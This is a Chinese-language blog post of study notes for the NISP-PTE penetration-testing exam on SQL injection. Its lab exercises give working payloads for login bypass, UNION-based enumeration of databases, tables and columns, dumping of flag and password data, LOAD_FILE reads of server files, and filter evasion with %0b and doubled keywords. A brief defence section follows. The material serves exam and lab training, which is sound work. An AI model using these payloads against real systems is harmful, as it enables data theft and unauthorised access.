当前位置: 首页 > ai >正文

NISP-PTE基础实操——SQL注入

🔐 一、基础注入知识点

什么是SQL注入?

SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。


🧪 二、SQL注入模拟与分类总结

✅ 模拟1:登录绕过 / 万能密码

' OR 1=1 --
  • 原理:利用逻辑表达式永远为真 (1=1),绕过登录验证。

  • 用途:用于登录框、管理员后台等认证接口的绕过。


✅ 模拟2:信息收集类注入(基于UNION的注入)

  1. 注入点探测

    ?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
    • 检查返回字段数是否正确,判断注入点位置。

  2. 获取数据库名

    SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
    
  3. 获取数据表名

    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms'
  4. 获取字段名

    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'
  5. 获取字段值

    SELECT flag FROM wasjcms.flag

✅ 模拟3:读取服务器敏感文件

UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
  • 函数LOAD_FILE(path) 可读取服务器文件内容(需满足条件如路径可读、权限开放)。

  • 风险:信息泄露、读取flag等敏感数据。


✅ 模拟4:数据库结构探测与读取数据

?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
  • 探测当前数据库的表结构

  • GROUP_CONCAT(...):合并多行数据为单行输出,便于查看。

?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
  • 实际读取指定表字段值


✅ 模拟5:编码绕过与路径文件读取

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
  • %0b 是 URL 编码的垂直制表符,用于绕过WAF或过滤器。

  • %23# 的URL编码,相当于注释符。


✅ 模拟6:精确信息提取

- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users

📌 三、常用注入函数与技巧

类别用法/函数说明
绕过' OR 1=1 --登录认证绕过
信息合并GROUP_CONCAT()将多行字段合并
系统函数database(), now(), user()当前数据库/时间/用户
系统表information_schema.tables, columns, schemata探测数据库结构
文件读取LOAD_FILE()读取服务器文件
注释符--, #, /*...*/注释掉原SQL

🧱 四、防御建议

  1. 使用预编译语句(Prepared Statements / ORM)

  2. 对用户输入进行严格校验与转义

  3. 最小权限原则:数据库用户不要授予FILE, SUPER, GRANT, DROP权限

  4. 隐藏错误信息,不返回SQL异常到前端

  5. 部署WAF / IDS 等安全设备进行注入防护

pteSQL注入模拟1

万能密码' OR 1=1 -- 

pteSQL注入模拟2

找注入点

?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6

数据库名 wasjcms

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6

表名 flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6

字段flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6

数据

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6

pteSQL注入模拟3

union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+

pteSQL注入模拟4

联合查询

?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+

pteSQL注入模拟5

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23

pteSQL注入模拟6

 数据库名:

2','3',(SELECT database()),NOW()) -- 

表:

2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) -- 

列:

2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) -- 
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) -- 

值:

2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) -- 

pteSQL注入模拟7

http://www.xdnf.cn/news/14310.html

相关文章:

  • [蓝桥杯 2025 国 B] 斐波那契字符串一一题解
  • 论文笔记 <交通灯> <多智能体>DERLight双重经验回放灯机制
  • HTML5+JS实现一个简单的SVG 贝塞尔曲线可视化设计器,通过几个点移动位置,控制曲线的方向
  • 路由器端口映射怎么设置?本地固定内网IP给外面网络连接访问
  • [深度学习]目标检测YOLO v3
  • AI视野:视频处理AI排行榜Top10 | 2025年05月
  • 解决电脑第一排按键功能失效的问题
  • 多维数据透视分析应用案例与深度解析
  • Micro-F1分数(多选)
  • 基于Python爬虫的房价可视化
  • android为什么不用sqlite数据库,而要用Realm
  • Python使用requests调用接口
  • SQL Server从入门到项目实践(超值版)读书笔记 17
  • 目标分割数据集大全「包含分割数据标注+训练脚本」 (持续原地更新)
  • Level1.8for循环
  • 【Create my OS】5 内核线程
  • 分割数据集 - 航拍水域分割数据集下载
  • SylixOS armv7 任务切换
  • 【C判断a*a+b*b=c*c且a>=b>0且输出最小的】2022-6-26
  • 包含30个APP客户端UI界面的psd适用于旅游酒店项目
  • 基于ssm智慧乡村旅游服务平台微信小程序源码数据库文档
  • 青少年编程与数学 01-011 系统软件简介 21 杀毒软件及安全软件
  • C++ 网络编程(12)利用单例逻辑实现逻辑类
  • 初探 Pytest:编写并运行你的第一个测试用例
  • .net6接口多个实现类使用特性标记并解析
  • React-router实现原理剖析
  • 基于SVD的推荐系统:详尽的原理与实践解析
  • 网络安全相关概念与技术详解
  • 高速 PCB 设计的材料选择,第 2 部分
  • ubuntu 22.04 安装部署kibana 7.10.0详细教程